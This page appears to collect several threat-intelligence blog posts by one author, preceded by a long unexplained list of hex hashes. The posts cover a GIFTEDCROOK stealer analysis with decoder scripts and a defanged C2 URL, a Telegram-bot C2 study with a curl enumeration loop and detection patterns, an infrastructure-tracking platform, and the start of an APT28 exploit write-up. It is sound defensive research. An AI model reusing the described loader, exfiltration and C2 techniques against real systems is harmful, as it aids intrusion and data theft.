2a5017bade76dbe525a339b6ad9e2563
ecc9e196124453491160f56df3adfce6
6e8651e11067d3b79189009be5efbe36
6c5973b49725bbae6a201a4b679030ca
2d5d5e31e06ee7175e9c6e657a1e7f60
3b8062f94e7563533e79824785b0e0db
31e85b15d6342bc47e61c57ecf31fa2f
34ae0f900757a499a289c44fb34e8158
e841b63edaf109038e3b400a9d79b9c1
0e91052bd56d8d594f59dc92587ab51d
c3ebafc9d93ca85770a4456aff26fd4a
66ea4a4077c9698d038a415d31b7539c
9141df139169a17b9ca112ea01d59516
77ed2cd7e4efc3fbc11d429b518cfe64
7b6dfe4538d06efd9c21e4ddfee20928
afca858c06473a53fc14eed06b4d42d3
6a9414db16258b343ceee62520551827
b5044c22fd1f52cd97c22d0173765867
5b8c4e9686ff1780ece069c9615166d4
11bf683e12c77c20fcfc5197c3b0ffb7
76f9c517e835d4598a3e149cc8685b72
27f1a9e570f9c9b25c9111b7e987eef4
860b63767026c1fc118b41e65d39a8da
03015b3e00fd5a6516fd87f2c14317a4
723c271065ca2c456dfcc16c3781a277
cc45a26f5193bf369a5d01c0a70b1962
0e15f60c56c3e6c9c6c802615e5c1389
891c75c784a0826238162079444a4e10
164c5d4acb619d8175ba802304bb79c5
990dbdd2be975b17afb0f3c655044a9a
bdea96a6d09f82ca3fb92fc11157bffb
7480cb44dbb89d581b9baaa4851d8606
3b7ebb0a1813719e972d8de84280501a
5ece7f28480504eedec56e3439d103e1
4f237c37430766f8a7e9c4e7aafa30bf
6b05eea2a31117010a3145af6742af52
1dc75a1903f8638e731a113d3cca9dcb
eef92859f04b1589166b8db3ee44c604
ee5fd705d2beb0ec4ae7414c6d29d22f
350395987a8cd70a7819c27190b84ebc
7ba1232346db6606888bfb0f9d7cfe37
82eb27f105371e25979b1f0ead550020
de411861057dc6e7825423e260281b12
f22a4947bdb90d715711a83d4ffcf633
82125c703c96087c422bc0dc0b3c6792
e1de29ef32f0820807a2d7f45be324db
dde127f2f122a289488e0a1e3986b72f
4a26a1935c71293c7047a1d7b12c0817
03f63860f4fd78c03a7de2ad78212b3e
9f545f4bb8556644be156a7d94628cbc
a4fec551632efca2dc935f30fb3e02e7
05947871fedb6ea8e22020c2d160cd1d
cc57d24abd508c8c23bf81384050153a
db9d563f10b66cb32bbfee66e2dade9f
5a1b56b21bd2d40d51136b4f4cdeb59a
fd6b390f5bfc8fa4c7502bf05bd461cd
4f9caac8fce1a3442b66cf223774bfdb
f7f4735d2a0c0b01650532997526a609
78832e7192aee4909384afebb478a8df
3c0208babfce3b7e7d55de89a7866208
baae8129eb91ebeaa384fdb43f05d561
e4710f2f88b855064f65009291489200
9ddc8b740101ab869c59db2cb726ff0b
621e3ab870f2eb9c09214533b7997d54
c6aa0317a355dfc6c8a3628c43339fc5
5716719332f967db48dc88e2c4392a13
c71eca9a451d015fc7c943eb2c6d3dcd
35a1647b7c78ffba4db202339da625bf
8593f6e9b3a2cfaedf31eba81d5eee7c
db44adc72b412d1943ab51654c9992ad
778fa996df8abfd70874143b6f092b92
be04463e9775582f22222c001dba0c4a
26ff2f75bc1585c9165f198a5bc87089
09c30b3ed272b94f8390952c99085d3c
9564a441f00043e0c4805dd94df776fe
783b760f85923c8e4f7e801544440765
8fe000e7aa34965c36b07a785ebf211b
b056ecd369a4921b9294a79b14af2453
022cfcdb582bbcf919efaec38aa1b3ef
d43c8d017f576f895cf32d5479187461
b52359f65b77b21db3f2c82122e2ac44
73f479e29825c7b8d59687f0d60b84a1
e192a92f5b5de9866893541fd20539c3
e31738d0b09366fb8fc2526ce472725b
ad36f4c92b26a4b0d5f571d1d8d88377
bc61939b54e97435a74d4401ca72aa88
4e3cb6479f08f2e55f0bb4c41115b916
5ad8c851b241ee950e58e635f7d27a8e
055247fbc6889235a8ad2b0f27c34fe5
8eb37db59704e1dd693a7adc60382faa
87802d8d4b21fd4d96adb3eb1ca5a87b
d080be6aee8b0a1a9388191815e2d8df
cde9aaff99ad5efd81067215f681792e
c633f3c4e872b5c60654bf529db82911
e2a897fbd158a197bc75749a0f777381
7432b699f4ddb31d4f31423ca8d6c7f7
494362b7793d1b4686732ce4be646a47
986343081590d5fad5330a6432be099c
79f6708f1b064fe6d6615f193f268aee
db22461432dc6c743d5a8a97bb75b3c1
1deb647e731d5ad6cf21f5ad8ab300d2
57a040f01091e7c0e6807fcd384df93f
811c3a288fc698fe8932236528c01758
ae024a79b09b8884daf7728c45ccaf5b
9c80dbc6fec383fd02c743819217dd7f
737b83b2c3d11d912b2dec10ecf34220
97c27d1eeac3f0a7c717676bd2f4330c
f764611bfae085be0c385f6947ad6671
bd5d65963de85202664883353879dbdc
e94c020ced27c6fb0956d97d5a1ad051
7e0a316388c369f426c1073bc186d09f
ec32fa4c59ee52c5a00faf3c265a42c0
ddbb988e28afaf6674dd26ea5cdd57a0
348055a7ca4dad76a5bd34c236a11ad3
37a8e5c1f7b34437d9ab0c0b8fa112ea
d7e9b2eb15d1a3b88d08bb25185323a3
fccef41db6dc59e025c833074e0b0d8f
ce3891774a7755bf7ec0744cc6af0730
71274356c693744deb9200431fedc26b
8de263da7ea4c8847776fb0cabf8bfa2
23c5ab8e7d161043e2b0f61d12b24a09
4d5d45047bfb4a16572968790785511b
48262ee623f392de8c118d0925d8a295
5a97205ea239b6193667f6ef2728e08c
44149589cc0a7e26a70f529363402922
b39b3dec73eb664341d16166198d5d4a
041ed8b383112b03a3687d100d5d4f86
dbef904fb62c0d0b545076865bc5785c
8c711dc198f28efa3f62b056fc6f4427
1b4a103f9cd79777335255ec8ac682a1
df9bc4a2edbca77cd4f61d80a77bc79d
981dfacf777596095fb5ea2f5b6dd95e
4f45569ab25389986d014f958c377642
52c4f915acaa2bac6dbea96ed6957098
d87c7999cc21ba2adf027e4fe9e89a9e
cf5ce1a360a94bc24d7b546ef2eb3555
2df7e40a03d6feb5fdc374c116a52da5
aa863fd96e5755daa613f00957c45743
4c2a261539b7a3436c0637bc4eb27401
2a625da32a17c3072735de195a2d90df
f0ad4d48f79ee8b5a964a1379674c0f1
f26bda977125faf11c09ba45f9dd4c1b
bdc4d7743e7b3b44cac5b9b78d4e470f
06c8dc5afef2e8fb76f3dff118fe8d1e
b0562210bf0db04aeb96f84ae10c1d39
d21f4b7f4731349787f7a5092701fee0
8fe9430479ff47ee242127d1272a9c2c
a3b7598104bea757c1f4c96cce2a64b0
d0d53fd1bbdc20f33dc1b081cf5e5e6e
bcf721100e45718b15843e43d0c6888e
81ddda138e19f9dbccf678124b9efd05
ac4df8f6c3a12a0a8dd56e6636437a06
38315478c7a72cc573e49bbd3ee6cfcf
2a2c5c3e5f87e4c42892aff8ed8c53cd
0790a135d5016430993e5fbd3859ac62
450587f18f2e2cf2313dbcf97663eab4
d5d5ed488683e3a7054935f372f747d6
ac260a46c7b1b076dcd55e1f11814316
36aa756039765ff61564bc1b265bad2a
685ef4fdc12a4cafe6bb8f2fc24f5750
e67e834a95040dae182d300c220c631e
0f8f2081aedbef315dd2de092a38a1fc
e5b2571340e0159a7e0883db36b15691
2301388a773a3cee3f16557e3d01a9b4
43f7b149fb374016604faa00dc4bea45
fcedc1f38363ab6f6ac5b67f288f6541
f99c3fa6fd2a4099cb40a3dbe849091c
b5ae30eddd3cc21dfa0ae52c193325ce
a2211d3bc14ab7511a56367a5e56f0d4
81b00d7ebe82b7d2c2c7e334d99b60e4
180b5d89e9c68ca757d35ba9bef8bbd2
8ff956d4cef91c88f38a6250af223bdd
fe2f54d20fc1f3c49392c281e5425bab
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Obfuscation Without Effort: Breaking a UAC-0226 GIFTEDCROOK Stealer

by Robin Dost

EDIT: I have YARA rules available for this one, if you need them, contact me at contact@robin-dost.de
Also, checkout my project KRAKEN if you’re interested in continuous threat actor tracking.

Lately I’ve been spending more time looking at malware targeting Ukraine and Europe. And yeah, a lot of it is neither new nor particularly creative. But it works. And that’s exactly why it’s worth digging into.

The sample we’re looking at here is fresh (from today, 09.04.2026), part of a UAC-0226 campaign and turns out to be a variant of the well-known GIFTEDCROOK stealer.

Initial access? Surprise: CVE-2025-6218 & CVE-2025-8088.
Maybe you already know this one from one of my previous articles.
A prepared archive, some basic social engineering, an LNK and the user still clicks it. End of story.

From there it’s the usual flow:

LNK launches payload
Payload decodes another binary
Binary initially looks like absolute garbage

Constants everywhere, useless function calls, pseudo-random noise. The classic “maybe the analyst just gives up” approach.

If you ignore all that noise, what’s actually happening becomes pretty obvious:

RC4-based encryption
Chunked data exfiltration
A simple but working exfil client
Runtime reconstructed C2

Nothing high-end. No fancy exploit chain fireworks.
Just cleanly glued together building blocks doing exactly what they’re supposed to do: grab data and ship it home.

And that’s exactly what makes this sample interesting.

So let’s take a look.

The sample has the hash
7200a9f1e1ea51b66ab9c9274e9d8f805633179634e8ff4dcb8ef82bc02518df

It’s a RAR archive and once extracted it’s immediately obvious the actor is abusing the WinRAR CVE to deliver the payload.

We’ve seen this before, for example with Gamaredon, but the execution here is slightly different.

We get a decoy PDF named:
“Відомості з реєстру військовозобов’язаних про працівників №20260409-7496423-1.pdf”

Roughly translated:
“Information from the Military Service Registry regarding employees No. 20260409-7496423-1.pdf”

So yeah, clearly targeting Ukraine.

Opening the PDF confirms the theme.

(Personal information has been redacted)

Alongside the PDF there are additional files:

ojMP31J28ohEDxT.lnk
Arj
05fE

Naturally, we start with the LNK using lnkparse since that’s usually the entry point

We can see a PowerShell command that compiles the file “05fE”.

Easy to verify by just looking at the file:

The code is obfuscated, but nothing crazy.

Quick summary:

Random function names
Useless variables
Thousands of Write-Host calls -> pure noise
Sleep calls -> sandbox evasion

The key function is:

function table_pincenez_bruise()

This acts as a simple XOR/byte decoder.

We also see a lot of [Type]::(...).(...) usage, which is used for:

.NET reflection
Dynamically resolving WinAPI

Execution flow looks like this:

Prepare shellcode
Decrypt using (($value – $key) % 256)
Allocate memory (VirtualAlloc)
Write shellcode
Start thread

At this point we have everything we need to reconstruct the decoded binary.

I threw together a quick script for that:

from pathlib import Path
import re
import hashlib
import subprocess

input_path = Path(r"Arj")
output_path = Path("decoded_arj.bin")

raw = input_path.read_bytes()

decoded = bytes(((b - 117) % 256) for b in raw)
output_path.write_bytes(decoded)

2a8ea9f1ad8936fb302243faa64b91c5767df411923715cbdb1a869e3bfd7e6d  decoded_arj.bin

Nice. Now we have the decoded payload.
Let’s throw it into Ghidra.

FUN_18008e2a0 -> Seed / Cookie Generation
FUN_18008e06c -> Dispatcher

This looks like a main dispatcher. Function FUN_1800189c0 stands out immediately.

The function is full of junk and noise with only a few real control paths hidden inside.
After going through it, a couple of functions are actually relevant. FUN_180001180

FUN_180001180

First it builds a 256-byte table:

local_128[0..255] = 0..255

Then

bVar24 = bVar24 + cVar4 + key[i % keylen]
swap(...)

That’s classic RC4 Key Scheduling (KSA)

It sets up a 256-byte state array (S-box) using the provided key. The algorithm starts with a simple identity permutation (0–255) and then shuffles it based on the key through a series of swaps. The process mixes the key material into the internal state, effectively “seeding” the cipher.

Once KSA is complete, the resulting permutation is used by the PRGA (Pseudo-Random Generation Algorithm) to produce the keystream that will later be XORed with the data

After that:

cVar4 = S[i]
j += cVar4
swap(...)
output = S[(cVar4 + S[i])]

-> That’s RC4 PRGA.
So part of the payload is RC4 encrypted, no surprises here

FUN_1800128a0

The key comes from here:

JtyIQxPND8G

his function also handles setting up and executing the HTTP communication

FUN_180014580

This is the file exfiltration function.
It loads data into memory and sends it to the C2

Chunk-size:

0x21400 = 136192 Bytes (~133 KB)

So data is sent in chunks.
Simple, works.

Sending to C2:

The network layer is most likely HTTP using WinHTTP or something similar.

Options are set, payload prepared, callback configured, request sent

Behavior

Behavior is straightforward:
Initial beacon Environment check If OK -> data exfiltration

To extract the C2 URL, we need to rebuild the RC4 decoding process.

Overall Architecture

Extracting the C2 URL

In the end we obviously want to extract the C2 URL.

For that we basically just need to rebuild the RC4 logic.

For this I jump to the memory region of DAT_1800b2ff2 and use those values to reconstruct the RC4 decoding.

I’ll just drop my script here in case anyone cares, I basically just reconstructed the logic in Python.

Source Code (Click to view)

def rc4_crypt(data: bytes, key: bytes) -> bytes:
    # KSA
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) & 0xFF
        s[i], s[j] = s[j], s[i]

    # PRGA
    i = 0
    j = 0
    out = bytearray()
    for b in data:
        i = (i + 1) & 0xFF
        j = (j + s[i]) & 0xFF
        s[i], s[j] = s[j], s[i]
        k = s[(s[i] + s[j]) & 0xFF]
        out.append(b ^ k)

    return bytes(out)

def run():
    encrypted = bytes([
        0x8A, 0xE5, 0xBA, 0x1E, 0x2C, 0x19, 0x48, 0xF0,
        0x8E, 0x3B, 0xED, 0x22, 0xED, 0xBE, 0xBE, 0x0D,
        0xCE, 0x6F, 0x72, 0x81, 0xD2, 0xD7, 0x52, 0xE9,
        0xD6, 0x8B, 0x14, 0x0A, 0x9A, 0x33, 0xF9
    ])

    key = b"JtyIQxPND8G"

    decrypted = rc4_crypt(encrypted, key)

    print("Raw bytes:", decrypted)
    print("ASCII:", decrypted.decode("utf-8", errors="replace"))


if __name__ == "__main__":
    run()

https://136.0.141[.]138:8406/rcv/

And if I open the URL in the browser:

There’s our candidate.

Certificate looks funny too:

Download

The malware is a GIFTEDCROOK stealer variant used by UAC-0226.

Who is UAC-0226?

UAC-0226 is basically a designation used by Ukrainian CERT for a Russian-aligned threat actor group primarily targeting Ukraine.
Some of the artifacts and the tradecraft found currently and in the past make me also believe that this is a russian (speaking) threat actor, but that’s just me.
Their tradecraft is pretty straightforward “it works, so we use it” operations: a lot of phishing, archives, LNKs, then multi-stage payload chains.

Classic flow is: user clicks something > loader > next stage > eventually you end up with a stealer like GIFTEDCROOK.

What makes this interesting:

They don’t build ultra complex frameworks.
They build simple chains that are just obfuscated enough (RC4, some string garbage, staged decoding) to make analysis annoying, even if this one wasn’t exactly a masterpiece.

It’s not elegant, but effective enough and that’s exactly what makes them relevant for us 🙂

References:

https://cert.gov.ua/article/6282946
https://arcticwolf.com/resources/blog/giftedcrook-strategic-pivot-from-browser-stealer-to-data-exfiltration-platform/
https://malpedia.caad.fkie.fraunhofer.de/actor/uac-0226
https://socprime.com/de/blog/detect-uac-0226-attacks-against-ukraine/
https://netzpalaver.de/2025/06/27/cyberspionage-gruppe-uac-0226-hat-giftedcrook-zu-einem-umfassenden-exfiltrations-tool-ausgebaut/

Following Gamaredons Infrastructure Rotations using Kraken

by Robin Dost
Click for Whitepaper

Tracking Gamaredon infrastructure is frustrating.

Domains rotate.
IPs disappear.
Dead-drops change.
And your IOC list is outdated before your report is even finished.

This is exactly where traditional tracking breaks.

Infrastructure is not a list.
It’s a system.

So instead of chasing indicators, I built something else: Kraken.

An actor-centric platform that tracks infrastructure as a continuously evolving graph.

Over the past months I used Kraken to follow Gamaredons infrastructure rotations, automatically expand clusters via passive DNS, dead-drop resolution, additional enrichment and keep visibility even as things change.

Kraken is still in evaluation, but it already shows why this approach works.

Gamaredon is basically the perfect test case: fast rotations, simple patterns, constant change.

Annoying if you rely on IOC lists.
Interesting if you actually track the system behind it.

The Problem

The core problem is simple:

Most threat intelligence workflows are still indicator/ioc-centric.

Indicators are collected, stored and shared as lists.
But infrastructure operated by threat actors is not a list.

It is a system.

Domains resolve to IPs
IPs host multiple domains
Dead-drops reference infrastructure
Passive DNS reveals historical relationships

Once you model these relationships as a graph and not as a list, entirely new analysis possibilities show up.

Methodology

I do not collect indicators and throw them into another IOC list as I often did before, my approach used here focuses on tracking infrastructure as a system.

Gamaredon infrastructure changes constantly. Domains rotate, IPs disappear, new dead-drops appear and old ones quietly vanish again. If you try to track this using static indicator lists you quickly run into a simple problem:
your data ages faster than your report.

So instead of treating indicators as the final result, they are treated as entry points.

Each domain, IP address or dead-drop reference becomes a starting node from which additional infrastructure can be discovered through relationships.

Actor-Centric Tracking

The key idea behind this is fairly simple.

I do not just track indicators, the whole tracking process focuses on the actor and the infrastructure ecosystem they operate.
Indicators are therefore not stored as isolated artifacts but as nodes within a larger infrastructure graph.

Some examples:

Domains resolve to IP addresses
IP addresses host multiple domains
Dead-drop channels reference infrastructure
Passive DNS exposes historical relationships between these elements

When you follow these relationships consistently, infrastructure clusters start to emerge on their own, just by letting Kraken collect data by itself.

Continuous Collection

Manual lookups are fine for small investigations, but they do not scale well when tracking infrastructure that changes constantly.
To deal with this problem, infrastructure collection is automated through small collection pipelines which continuously process new data as it arrives.

These pipelines typically follow a very simple structure:

Source > Extract > Normalize > Enrich

A source may be a Telegram channel used as a dead-drop, a blog platform or any location where infrastructure information can be found.

Once infrastructure artifacts such as domains or IP addresses are extracted, they are normalized and passed to enrichment stages which attempt to expand the infrastructure footprint.

Infrastructure Graph

All observed artifacts and relationships are stored within an intelligence graph.
Nodes represent infrastructure elements, while edges in the graph represent observed relationships between them.

This model makes it possible to pivot through infrastructure in multiple directions and observe how infrastructure clusters evolve over time.

In practice this basically turns infrastructure tracking into a continuous mapping process (rather than a one time indicator collection exercise).

Data Collection

A common pattern observed in Gamaredon operations is the use of publicly accessible locations to distribute infrastructure references.

These locations often act as so called “dead-drops”: pages or channels that contain references to infrastructure which can later be used by infected systems or operators.

We do not have to manually monitoring these sources anymore. The collection process is fully automated. A small collection pipeline periodically retrieves the content of known dead-drop locations and attempts to extract infrastructure artifacts such as domains, (worker) URLs or IP addresses.

Once a reference is identified, the artifact is normalized and passed into the intelligence pipeline where it can be processed further.

Figure 1 shows an example of such a collection run.
The pipeline processes a known dead-drop location and extracts a URL which is later used as a pivot point for more additional infrastructure discovery.

After the automatic extraction, the discovered artifact is converted into a structured entity within the intelligence model.

The artifact becomes a first-class infrastructure entity, which allows the system (and analyst) to attach metadata, track historical observations and establish relationships with other intelligence objects.

In this case, the extracted URL is automatically linked to the Gamaredon threat actor, making it possible to track the infrastructure within the context of the actors operational ecosystem.

Figure 2 shows the extracted URL represented as an infrastructure entity.
The system records the relationship between the artifact and the threat actor, allowing future pivots across related infrastructure elements.

Once infrastructure artifacts are linked to an active actor, they become part of the actors evolving infrastructure graph.

This helps analysts to observe how infrastructure elements connect to each other over time and it makes it possible to pivot between entities and communication channels associated with the actor.

I usually do not investigating isolated indicators anymore, because i can observe the structure of the infrastructure ecosystem operated by the threat actor.

Figure 3 shows the Gamaredon actor profile with linked infrastructure entities that were discovered through automated collection pipelines.

Automated Tracking Pipeline

Collecting infrastructure once is rarely useful when dealing with actors like Gamaredon.

Infrastructure appears, disappears and reappears somewhere else. Domains rotate, IP addresses change and new dead-drops appear regularly.
A single snapshot of indicators therefore provides very limited value.

To deal with this, infrastructure tracking is performed within automated tracking pipelines.

A tracking pipeline is essentially a small workflow which periodically collects infrastructure artifacts, processes the results and finally feeds newly discovered artifacts back into the intelligence graph 🙂

Instead of performing manual enrichment during an investigation, the pipeline continuously performs these steps in the background.

Pipeline Structure

Each tracking pipeline follows a simple structure.

A tracking definition specifies what should be monitored and how the resulting artifacts should be processed.
Once triggered, the pipeline executes a series of collection and enrichment modules we selected in our definition.

These modules are responsible for extracting infrastructure artifacts, normalizing them and expanding the infrastructure footprint through our additional data source.

Scheduling and Execution

Tracking pipelines run on a scheduled basis and automatically process new data as it appears.

Each execution produces a structured result set which is evaluated by the processing stage of the pipeline. Newly discovered artifacts are converted into infrastructure entities and linked to the relevant threat actor.

Over time this allows the intelligence graph to grow organically as new infrastructure elements are discovered and related artifacts are connected through historical observations.

Result

In practice this means that infrastructure tracking no longer depends on manual analyst activity.

Once a tracking definition has been configured, the pipeline continuously monitors the relevant sources and expands the actors infrastructure graph as new artifacts appear.

Gamaredon Infrastructure Tracking

To demonstrate how the tracking pipeline operates in practice, i configured a small Gamaredon tracking definition to monitor known dead-drop locations used by the actor.

These locations often contain URLs or domains which later or currently appear in malicious campaigns.

The tracking pipeline periodically retrieves the content and extracts infrastructure artifacts which can then be used as starting points for further analysis.

Extraction

During one such collection run, the pipeline processed a known dead-drop location and extracted a URL which had not previously been observed within the intelligence dataset.

While a single URL may not appear particularly interesting on its own, it serves as an entry point into the actors infrastructure ecosystem.

Once the artifact enters the tracking pipeline it becomes a pivot point for further enrichment.

Infrastructure Cluster

Repeated enrichment and pivoting gradually expands the visible infrastructure associated with the actor.

New artifacts discovered through passive DNS or other enrichment sources are automatically linked to the existing actor profile, allowing the infrastructure graph to grow organically as additional relationships are observed.

This process transforms a single infrastructure artifact into a broader cluster of related assets which can be monitored continuously by the tracking pipeline.

Infrastructure Expansion

A single infrastructure artifact rarely provides much information on its own.

A domain or IP address might appear in a dead-drop location, but without additional context it is difficult to determine whether the artifact is actually part of a larger operational infrastructure or simply unrelated noise.

For this reason each newly discovered artifact is treated as a pivot point for further enrichment.

Once an artifact enters the tracking pipeline it is automatically processed by enrichment modules which attempt to expand the observable infrastructure cluster around that artifact.

Passive DNS data is particularly useful for this step.

By examining historical DNS resolutions it becomes possible to identify additional domains that have previously resolved to the same IP address, as well as IP infrastructure that hosted related domains in the past.

While not every discovered artifact will belong to the same actor, this process often reveals clusters of infrastructure which would not be visible when looking at individual indicators in isolation.

As new artifacts are discovered they are automatically added to the intelligence graph and linked to the relevant threat actor when sufficient context is available.

Over time this process gradually expands the visible infrastructure associated with the actor and allows analysts to follow infrastructure rotations across domains, IP addresses and hosting environments.

Findings

Applying the automated tracking pipeline to Gamaredon-related dead-drop locations quickly revealed several patterns in the actors infrastructure usage.

While the dataset used in this analysis is relatively small, a number of observations could already be made regarding infrastructure rotation and clustering behaviour.

Infrastructure Clusters

Passive DNS expansion frequently revealed clusters of domains associated with the same hosting infrastructure.

In several cases multiple domains discovered through enrichment stages resolved to the same IP address or appeared historically connected through shared DNS infrastructure.

These clusters provide additional nodes which may lead to previously unobserved infrastructure related to the actor.

Dead-Drop-Usage

Dead-drop locations appear to play an important role in distributing infrastructure references.

Public platforms such as blogs or messaging channels can be updated quickly and allow operators to rotate infrastructure without modifying malware samples directly.

Monitoring these locations therefore provides an effective entry point for continuous infrastructure discovery.

Value of Continuous Tracking

The observations above highlight the value of continuous infrastructure tracking.

While individual indicators may appear and disappear quickly, the relationships between infrastructure artifacts often persist long enough to reveal broader infrastructure clusters.

By automatically collecting and enriching infrastructure artifacts over time, it becomes possible to map parts of the actors infrastructure ecosystem.

Limitations

While the approach described above proved useful for discovering and tracking infrastructure artifacts, limitations should be taken into account when interpreting the results.

First, infrastructure enrichment based on passive DNS data is inherently incomplete. Passive DNS datasets depend on external collection sources and may not contain the full historical resolution history of a domain or IP address. As a result, certain infrastructure relationships may remain invisible to the analysis.

Second, infrastructure expansion through DNS relationships can produce noise. Shared hosting environments, cloud infrastructure and content delivery networks frequently host unrelated domains on the same IP addresses. Without additional information these relationships can lead to false associations within the infrastructure graph.

Another limitation is that dead-drop monitoring only provides visibility into infrastructure that is publicly referenced by the actor. Infrastructure used exclusively within malware samples or internal command-and-control channels may not appear in these sources and therefore remain outside the scope of this analysis (but i am working on a solution for this c:).

Finally, Kraken itself is currently in evaluation phase. While the platform already supports automated tracking pipelines and infrastructure modeling, additional modules and enrichment sources are still being developed.
Future iterations will improve infrastructure expansion and reduce noise introduced by shared hosting environments.

About Kraken

Kraken is a modular cyber threat intelligence orchestration platform designed for continuous infrastructure tracking and actor-centric intelligence modeling.

It models infrastructure as a relationship graph between domains, IP addresses, communication channels and other infrastructure artifacts. Automated tracking pipelines collect and enrich infrastructure data and continuously extend the intelligence graph when new artifacts appear.

The platform is currently in an evaluation phase (version 0.9.1-eval) and actively developed. Additional collection and enrichment modules are being added to improve infrastructure discovery and analysis capabilities.

A more detailed description of the platform architecture and intelligence pipeline is available in the Kraken technical whitepaper.

To gather early feedback from practitioners in the threat intelligence community, a small number of early evaluation access slots will be made available during 2026. The initial evaluation phase will be limited to ten vetted participants. Interested researchers or organizations can already request consideration for this early access program. Due to the limited number of evaluation slots, requests will go through a strict vetting process before access is granted.

Request access here: https://kraken.malwarebox.eu

Conclusion

Tracking infrastructure operated by threat actors such as Gamaredon requires more than static lists of indicators. Infrastructure changes quickly and isolated artifacts often provide little context on their own.

By combining automated collection pipelines with relationship-based infrastructure modeling, it becomes possible to gradually map portions of an actors infrastructure ecosystem and observe how it evolves over time.

While my approach described in this article represents only a small subset of possible tracking techniques, it demonstrates how automated infrastructure collection and enrichment can support continuous threat intelligence workflows.

Further development of the Kraken platform will focus on expanding collection capabilities and improving infrastructure correlation across multiple data sources.

Observed Telegram Bot Naming Patterns in Recent MuddyWater Malware Activity

by Robin Dost

I recently took a look at the wave of MuddyWater malware samples from 2026 and came across something interesting I wanted to share.

The sample I analyzed (SHA256: “81a6e6416eb7ab6ce6367c6102c031e2ae2730c3c50ab9ce0b8668fec3487848“) turns out to be LampoRAT, as already described in Unite42’s article.
According to previous analysis, the malware was developed on a workstation named “Jacob” more on that in my earlier post.

I won’t go into full detail about the RAT itself, that has already been covered extensively.
I’ll link a few relevant articles below if you’re interested.

Right now my focus is more on actor-centric detection, specifically identifying infrastructure early rather than chasing IOCs after the fact.

Quick overview

The malware uses the Telegram Bot API as a command-and-control channel.

After infection, the client connects to a hardcoded bot token and waits for commands from the operator.

Received commands are executed locally via the Windows shell, and the results are sent back to the attacker via Telegram.

Because all of this runs over legitimate HTTPS traffic to Telegram, it blends in much better than traditional C2 infrastructure.

The interesting part

The actor uses a bot with the username:

stager_51_bot

In offensive operations, a stager is typically a small initial payload that establishes a foothold and then pulls in additional components.

The “51” immediately suggests some form of sequential usage and that’s where things get interesting.

Enumerating the pattern

I wrote a quick script to check which usernames of the form:

stager_X_bot   (1 ≤ X ≤ 100)

are actually registered.

We don’t even need a Telegram account for this.
Instead, we can abuse the way Telegram’s web interface behaves and completely avoid the API.

If a username exists -> it shows up
If not -> it doesn’t

Simple as that.

Since stager_51_bot is currently offline, here’s how it looks:

Username not taken:

Username not taken:

If the user exists, the username is highlighted as the page title.

for x in {1..100}
do
    res=$(curl -s https://t.me/stager_$x\_bot | grep "tgme_page_title")
    if [ -n "$res" ]; then
        echo "Bot exists stager_$x\_bot";
    fi
    sleep 3
done

(The sleep is just there to avoid rate limiting)

Results:

I then pulled the Telegram IDs for all identified bots and built a small table:

Username	Telegram ID	Display Name	Still Active
stager_51_bot	8398566164	Olalampo	No
stager_55_bot	8468064242	stager_55bot	Yes
stager_56_bot	8372926576	foltinao\	Yes
stager_58_bot	8466129060	Nikoro	Yes
stager_59_bot	8331208203	hayday	Yes
stager_60_bot	8128190363	clash	Yes
stager_61_bot	8357834418	Asus	Yes
stager_62_bot	8405262043	apple	Yes
stager_63_bot	7824201354	bot	Yes
stager_64_bot	8236964013	active	Yes

Observations

At first glance, it looks like these bots are sequentially created starting at around stager_51_bot.

But once you look at the Telegram IDs, things don’t line up.

While Telegram IDs generally increase over time, they do not match the numeric order of the bot names.

Bots with higher numbers are not necessarily newer, and some appear to have been created earlier despite their naming.

This strongly suggests that the naming scheme is not tied to creation order, but maybe controlled by the operator most likely as part of internal tooling or campaign logic.

Another interesting detail is the display names:

Random-looking words like Olalampo, Nikoro, foltinao
Game-related names like HayDay and Clash
Generic words like apple, bot, active

Nothing conclusive here just… weird enough to notice.

Also worth mentioning:

When putting Olalampo, Nikoro or foltinao into a translator, it consistently suggests the same language, despite there being no real translation ^^

No idea if that means anything. Probably nothing. Still interesting.

Attribution (or lack of it)

There is currently no definitive proof that all identified bots belong to the same campaign or actor.

The observed connections are based on naming patterns and timing and should be treated as a hypothesis, not a confirmed attribution.

And that’s important.

Why this matters

The interesting part here is not a single bot.

It’s the pattern.

Instead of looking at individual IOCs, we’re seeing a reusable naming and infrastructure scheme, something that can potentially be tracked and predicted.

Detection / Prevention

Looking at the Telegram requests generated by the RAT, we can already preemptively block known infrastructure.

Example request:

https://api.telegram.org/bot8398566164:AAEJbk6EOirZ_ybm4PJ-q8mOpr1RkZx1H7Q/GetWebhookInfo

(Token is invalid, don’t bother)

Since we have multiple bot IDs, we can derive detection patterns like:

https://api.telegram.org/bot8468064242.*

https://api.telegram.org/bot8372926576.*

https://api.telegram.org/bot8466129060.*

https://api.telegram.org/bot8331208203.*

https://api.telegram.org/bot8128190363.*

https://api.telegram.org/bot8357834418.*

https://api.telegram.org/bot8405262043.*

https://api.telegram.org/bot7824201354.*

https://api.telegram.org/bot8236964013.*

But more importantly:

Instead of blocking static IOCs, we can move towards pattern-based detection, for example:

monitoring Telegram API usage
correlating with suspicious bot naming schemes
identifying unusual communication patterns

Long term, this is far more robust than chasing individual indicators.

Final thoughts

I’ve been experimenting with different tracking techniques to identify patterns like this earlier.

To make that easier, I built a platform that helps me to automate exactly this kind of analysis.

More on that soon, releasing on Monday :3

Conclusion

The observed naming and infrastructure pattern shows that even simple components like Telegram bots can be used to build reusable and scalable C2 infrastructure.

Even without definitive attribution, analyzing these patterns allows early identification of potential infrastructure and enables proactive detection and blocking.

The real value here is the pattern behind it.

More References

https://unit42.paloaltonetworks.com/boggy-serpens-threat-assessment

https://www.group-ib.com/blog/muddywater-operation-olalampo

APT28: Geofencing as a Targeting Signal (CVE-2026-21509 Campaign)

by Robin Dost

EDIT: 04.02.2026:
I have YARA Rules available for detection, contact me at contact@robin-dost.de if you need them.

After publishing this article, I received technical feedback regarding the root cause of CVE-2026-21509. Based on that input, I corrected several parts of the analysis.

Update Notes:
The vulnerability does not rely on malformed OLE objects, and WebDAV is not part of the exploit primitive. CVE-2026-21509 is caused by an allowlist gap around Shell.Explorer.1, which Office still instantiates. WebDAV is only used as a delivery mechanism.
The article has been updated accordingly.

Since the beginning of this year, we have again observed an increased number of attacks by APT28 targeting various European countries. In multiple campaigns, the group actively leverages the Microsoft Office vulnerability CVE-2026-21509 as an initial access vector.

This article focuses on how CVE-2026-21509 is used in practice, how relevant IOCs can be extracted efficiently from weaponized Word documents and how the actors own geofencing can be leveraged to infer operational target regions.
